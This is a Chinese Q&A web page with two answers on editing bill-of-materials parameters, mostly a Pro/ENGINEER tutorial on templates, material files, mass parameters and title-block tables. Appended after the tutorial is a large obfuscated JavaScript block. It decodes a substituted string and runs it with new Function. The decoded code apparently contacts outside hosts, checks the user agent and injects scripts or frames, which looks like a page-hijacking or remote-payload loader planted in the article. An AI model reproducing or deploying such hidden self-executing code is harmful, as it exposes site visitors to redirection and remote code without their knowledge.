怎样修改bom里的参数

2025-02-14 01:22:36
推荐回答(2个)
回答1:

  方法:
  生产——基础数据——物料清单——物料单控制数据——定义修正参数 ?工程更改管理勾去掉 生产——基础数据——物料清单——通用数据——配置BOM的历史需求
  BOM(Bill Of Materials),即材料报表,它能详细表列出装配结构中的零件状态及装配组件或零件中包含的参数。通常在创建组件工程图的同时,包含一个材料报表。在Pro/ENGINEER中文环境下,应用Pro/REPORT的功能,再加上用户设计时,设定一些特定的参数,则可以自动生成符合企业标准的明细表。

回答2:

BOM(Bill Of Materials),即材料报表,它能详细表列出装配结构中的零件状态及装配组件或零件中包含的参数。通常在创建组件工程图的同时,包含一个材料报表。在Pro/ENGINEER中文环境下,应用Pro/REPORT的功能,再加上用户设计时,设定一些特定的参数,则可以自动生成符合企业标准的明细表。
Pro/REPORT是 Pro/ENGINEER的一个选项模块,它提供了一个将字符、图形、表格和数据组合在一起以形成一个动态报告的功能强大的格式环境。它能使用户很方便地生成自己的材料报表(BOM),并可根据数据的多少自动改变表格的大小。功能包括:
1. 在报告中附加视图。
2. 填写报告的键盘提示参数。
3. 应用数据的特殊显示。
4. 所需数据的筛选和分类。
5. 显示/不显示的双重记录项。
1 设计参数
当用户设计零件时,有些信息如零件重量、零件名称等,可自动填入明细表中,但更多的相关信息,可以通过设定参数的方式,由系统管理员在企业或公司的通用设计模板中设定,并以交互方式输入参数值。通常情况下,可遵照下列步骤进行。
1.1共享设计模板
为保证整个设计团队设计的一致性,并尽可能减少重复工作,建议用户预设一个标准零件模板和组件模板,如template.prt、template.asm,它应该除了含有三个基准参考面(Datum plane)、视图列表外,还应该定制单位、标准公差表等。参见第二章标准绘图环境定制中的企业标准模版定制。为使将来的装配中没有太多的参考面,影响视觉效果,可把参考面放入层(Layer)中,并保存成不显示状态(Blank)。基于组件模板和零件模板的制作方式相同,我们这里只讨论零件模板的制作。
1.2 设定单位制
在模板文件中执行下拉菜单: Edit(编辑)>Set Up(设置)>Units(单位)即可弹出单位管理(Units Manager)对话框,见下图。Pro/ENGINEER软件提供几种单位制供选择,它们分别是:
Inch lbm Second(Pro/E Default)
Centimeter Gram Second (CGS)
Foot Pound Second (FPS)
Inch Pound Second (IPS)
Meter Kilogram Second (MKS)
Millimeter Newton Second (mmNs)
其中Inch lbm Second单位制是Pro/ENGINEER软件缺省采用的。但用户可以选择或创建适合自己使用的单位制并在模板文件中设定为企业或公司的标准。

在本例中笔者创建(New. . .)了名称为Custom的单位制,其中长度单位采用毫米(mm),质量单位采用千克(kg),时间单位采用秒(sec),温度单位采用摄氏度(C),结果参见下图,完成并保存模板文件。
1.3 定义材质库
在计算零件质量(执行下拉菜单: Analysis >Model Analysis... > Compute )之前要给零件指定材质。一般情况下,要把用户定义的材质库指定给Pro/ENGINEER软件系统。材质库是专门存放材质文件的地方,为一磁盘目录。如果公司制定了统一的标准材质库,可以放在网络服务器上,不仅可以共享而且更新维护方便。例如,我们在环境配置文件(config.pro)中设置选项pro_material_dir的路径为d:\standard\materials_lib(用户根据自己情况修改)。
材质文件是文本文件,用户可以用任何文本编辑工具创建,其扩展名为 *.mat。现以某一材料为例介绍材质文件的结构内容,本例中只输入了材质的质量密度MASS_DENSITY = 7.85e-6 Kg/mm3)。
MATERIAL STEEL
This file may be edited using available editor.
Just type on the necessary lines appropriate values
after the "=" sign. Comments are not permitted on
lines containing material properties names.
YOUNG_MODULUS =
POISSON_RATIO =
SHEAR_MODULUS =
MASS_DENSITY = 7.85e-6
THERMAL_EXPANSION_COEFFICIENT =
THERM_EXPANSION_REF_TEMPERATURE =
STRUCTURAL_DAMPING_COEFFICIENT =
STRESS_LIMIT_FOR_TENSION =
STRESS_LIMIT_FOR_COMPRESSION =
STRESS_LIMIT_FOR_SHEAR =
THERMAL_CONDUCTIVITY =
EMISSIVITY =
SPECIFIC_HEAT =
PRO_UNIT_SYS = Custom
Ø 材质文件的创建
执行下拉菜单Edit(编辑)>Set Up(设置)>Materials(材料)>Define(定义),输入材料名称,如steel,系统会提供一个文本编辑环境,见下图所示的材质编辑工具,按照要求填写相关参数内容。注意最后一行PRO_UNIT_SYS = Custom标记用户采用的单位制,是系统自动添加的。其中密度值为7.85e-6kg/mm3符合所采用的单位制。
材质创建完成后,执行写入(Write),按照提示输入保存的文件名(如steel)把刚刚创建的材质文件写入磁盘,以便日后调用或与他人共享。需要说明的是,如果材质文件不写入磁盘,那么该文件只属于当前的模板文件。
注意:
材质文件的保存位置是在当前的工作目录中,若要将其共享须移动到材质库(一般这项工作由系统管理员来做)。

Ø 材质的分配
材质库建完后,该是如何把材质分配给零件了。执行下拉菜单Edit(编辑)>Set Up(设置)>Materials(材料)>Assign(分配)>Form File(从文件),如果环境配置文件(config.pro)中的pro_material_dir设置正确,Pro/ENGINEER软件系统会自动带你到材质库中选择你需要的材质。如果想取消已分配的材质可使用取消分配(Unassign)。

1.4 计算零件质量
一般情况下,在定义模板文件(template.prt)的时候,需要给它指定一个缺省的材质,然后加入一个关系式(Relations): CMASS=MP_MASS(“”),见下图,建立质量关系式。其中,CMASS是用户定义的用来表示零件质量的参数。
提示与技巧:
如果零件模型改变需要重新计算零件质量。若不想重新计算可以在config.pro设定mass_property_calculate的值为 automatic,然后执行再生一次即可。
最后需要编辑模板的程序文件,执行下拉菜单:Tools(工具)>Program(程序)。。。> Edit Design(编辑设计),在文件最后,应该是如下内容:

MASSPROP
Part TEMPLATE 加入此一行
END MASSPROP
如果是组件模板:
MASSPROP
ASSEMBLY TEMPLATE 加入此一行
END MASSPROP
编辑Program的目的是为了当零件修改后,再生(Regenerate)时,软件会重新计算质量。但此一项需要Pro/ASSEMBLY模块。如无此模块,那么每次设计修改后,请在总装配后,再做一次质量计算,然后在二维图(含BOM的二维图)中,再生(Regenerate)一次。
如果零件重新指定材质后,密度值按照材质文件中给定的参数重新分配,零件的质量需要重新计算后再生(Regenerate)一次。
注意:
如果没能正确出现编辑窗口,请检查config.pro文件设置,找到pro_editor_command,并给出系统默认的文本编辑工具,最好给出绝对路径,如C:\WINNT\NOTEPAD.EXE。

1.5 定义用户常用参数
根据用户的不同需求,可创建适合自己企业或公司的参数,下面我们举例说明常用参数为以下几种,见下面的常用参数列表。
其中,CTYPE代表零部件类型,通常用户的明细表会分类,如钢件、铸铁件、非金属件或基本件、通用件、标准件、借用件等。用户需要根据自己的实际情况,用CTYPE加以区分,如G代表钢件、B代表标准件等。
Ø 参数创建方法
参数创建方法如下,执行下拉菜单Tools(工具)>Parameters(参数)…启动参数创建对话框,如图所示 。然后分别按照所列项目填写相应内容并选择参数数据类型,共有五种,分别是:Integer(整数)、Real Number(实数)、String(字符)、Yes No(是/不)和Note(注释)。数据类型确定后输入参数缺省值,最后可以对参数进行描述。

Ø 参数命名规则
根据笔者应用和实施经验,建议用户在定义参数名时,尽量使用连续的字符串,不要用“-”“_”等,不要和系统参数发生冲突,以免将来应用Pro/INTRALINK进行协同设计或者WindChill应用时带来不必要的麻烦。另外,参数命名时候要遵守一定的规则,将来在BOM表或参数列表中使用过滤功能可以分别得到不同类的参数,便于分类检索。例如,本例中所定义的基本BOM参数都以字母“C”开头,使用过滤功能查找带有“C*”的参数即可将其一网打尽。关于过滤的功能在后面有详述。

2 绘图格式、标题栏和明细表的设定
利用Pro/ENGINEER软件中的Pro/REPORT模块,可以创建绘图格式文件(Format)并自动生成明细表,通常是将一个定制的表格置于Format中,作为标题栏。在设计装配体或零件的工程图时,直接调用这个Format即可。由于在Format中,图幅的大小是不可改变的,因此用户需要建立几个不同幅面的Format,如A0、A1、A2 . . .,建议取名为A0-asm、A1-asm……,创建Format是一劳永逸的事,一旦完成后存入标准目录下的Format目录中,供所有人员使用。
在config.pro配置选项中有一个Format_setup_file项,与绘图配置文件类似,也可以对format定制过程进行参数控制,详见第二章 标准绘图环境定制。
2.1 创建Format的基本方法
这里只介绍两种方法创建绘图格式。
方法一,读入外部数据
如果你在其他的CAD软将系统中(如AutoCAD)已经做好了绘图格式,可以将其转换成通用的DXF或IGES、STEP等格式,然后进入Pro/ENGINEER的Format模式,如图所示。进入格式文件(Format)创建环境后,使用下拉菜单Insert(插入)>Shared Data(数据共享)>From File(从文件)…读入后再做后续工作。除了上述几种格式外,format还能接受set、cgm格式,或者直接读入AutoCAD的DWG格式。读入后的格式文件用户可以做任意修改,增加或删除表格等。
注意:
只有在Pro/ENGINEER软件中创建的表格(Table)才可以接受文本输入,外部输入的表格无效,但可以作为几何图元应用。

方法二,在Pro/ENGINEER软件中直接创建表格
参见下图,用户可以在format模式下用二维绘图工具直接绘制图框,使用偏距(Offset)结合裁剪(Trim)制作图框。具体实现方法如下:
以A4图幅为例,创建Format(格式)文件时,直接选用A4幅面,然后利用Offset(偏距) 工具或执行下拉菜单Sketch(草绘)>Edge(边)>Offset(偏距)…偏距边界线,最后执行下拉菜单Edit(编辑)>Trim(裁剪)>Corner(角)…剪掉线段多余部分即可完成边框定义。这部分很简单,相信大家能独立完成。需要强调说明的是对国标规定的每种Format格式文件都要分别作出,保存在共享目录中共全体设计人员使用。
2.2定义标题栏
根据企业或公司标准,在标题栏处,定义一个或几个基本的表(Table),关于表的详细制作过程我们会在以后介绍。
下面给大家推荐一种整体表格制作方法,根据个人习惯,还有很多其他方法,大家可以尝试一下。欲制作如下图所示的标题栏,过程如下:
步骤一,采用表格(Table)制作工具
见下图,选择By Length项,计算好表格中每条线的位置,因为采用这种方式制作表格需要提供每条线的增量值,即每条线之间的距离。

表格初步完成,见下图。

步骤二,表格合并
此时,下拉菜单Table中合并单元Merge Cells…项激活,见下图,表格合并。编辑表格,采用表格合并单元(Merge Cells…)工具,将表格进一步处理得到预期结果。
步骤三,表格精确定位
通过移动表定位工具,选中表格,然后选取表格右下角的捕捉点,此时会出现表移动参考工具,见下图,表精确定位工具和表移动捕捉参考点。然后与前面已经做好的Format内边框右下角的交点对齐,完成表格定位。
如果没有可以捕捉的实体可以采用绝对坐标。表格的左下角为坐标原点(0,0),根据图幅的不同,通过计算可得到表格的精确定位点。
步骤四,输入文本
在输入文本同时还可以设置文本的属性。首先用鼠标左键选择要输入文字的单元,然后按住鼠标右键不动等待Pop up菜单出现,如图所示。 另外一种方法是直接双击要编辑的单元格,即可出现输入文本对话框。
在随后出现的文本属性对话框中有两个选择项:Text和Text Style。
Text:在空白处输入需要的中、英文字符,如图所示。需要说明的是,使用Open和Save 功能可以打开或保存纯文本文件(.txt)到系统中。另外还有一些其他功能,读者可以自己摸索一下。

Text Style:这一选择项中用户可以定义文字的字体、高度、厚度、宽度因子等常规项目。在下半部分的Note/Dimension区域定义文字在表格中的存在形式,本例中选择了文字在表格内的水平、垂直方向均为居中方式,如图所示的编辑文本样式。另外还有一些选项,读者可以自己尝试改变一下,如文字的角度、颜色等。
步骤五,输入参数
在Pro/ENGINEER软件系统中,有许多变量是可以由软件自动判别的,常用的有以下几种。
Ø &model_name,系统参数,表示该工程图所使用的三维模型名称,可以是零件或装配,一般在机械设计中模型名称以零件的图号命名;
Ø &dwg_name,系统参数,表示该工程图的名称。在一般情况下,工程图的名字与他所应用的三维模型的名字一致,只是扩展名不同(三维模型是Prt,二维工程图是Drw)。但一个三维模型可以对应多个二维工程图,此时需要不同的工程图名字。
Ø &scale,系统参数,可以在标题栏中输入比例尺,按照用户所定义的形式显示,如1:4、1/4或0.25。
Ø &type,系统参数,增加模型的类型到标题栏中,如Part或Assembly。
Ø &format,系统参数,显示当前绘图的格式尺寸,如A4。
Ø ¤t_sheet,系统参数,显示当前绘图是第几页。
Ø &total_sheets,系统参数,显示绘图共几页,因为Pro/ENGINEER工程图提供多页显示功能,即一个绘图文件中可以多页显示模型内容。
另外,所有用户自行设定的参数,均可作为table中的变量使用,如cmass等,现列举部分如下。
Ø &cmass,用户定义的质量参数,通过关系式cmass=MP_MASS("")自动计算零件的质量并填到标题栏中。
Ø &cname,用户定义的参数,用来表示模型的名称,如齿轮、轴承等。
Ø &czpth,用户定义参数,表示当前零件被哪个装配调用。

步骤六,表格调用。
各种参数在需要的位置填好后保存,如图所示的在标题栏中定义的系统参数和用户参数。
参数说明:
图样代号--------------&model_name(系统参数,按照零件名称自动读取)
比例--------------------&scale(系统参数)
共 张------------------&total_sheets(系统参数)
第 张------------------¤t_sheet(系统参数)
图样名称--------------&CNAME(用户定义的参数)
材料标记--------------&CMAT(用户定义的参数)
阶段标记--------------&CJDBZ(用户定义的参数)
重量--------------------&CMASS[.2](用户定义的参数,控制小数点后面两位)
当在Pro/ENGINEER绘图中调用格式文件后系统会自动填入相应的参数值,如图所示的绘图文件调用后的结果。

步骤七,表格输出,共享表格数据信息
因为Pro/ENGINEER需要定义各种不同幅面的格式文件,因此为了再利用表格数据,可以将表格输出到磁盘写成.tbl文件。具体实现方法如下。
先选中表格,方法是在表格中点中任意单元,此时会看到在表格的周围边框上出现八个夹持点,点中任意一个后,整个表格处于选择状态(变成红色),或者在表格中点中任意单元后执行下拉菜单Table>Select>Table即可选中整个表格。然后使用下拉菜单Table>Save Table>As Table file…/ As Text file…,这里我们直接存成表格文件,即使用As Table file…选项,另外一个As Text file…用户可以自己尝试一下。参见下图,输出表格文件。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();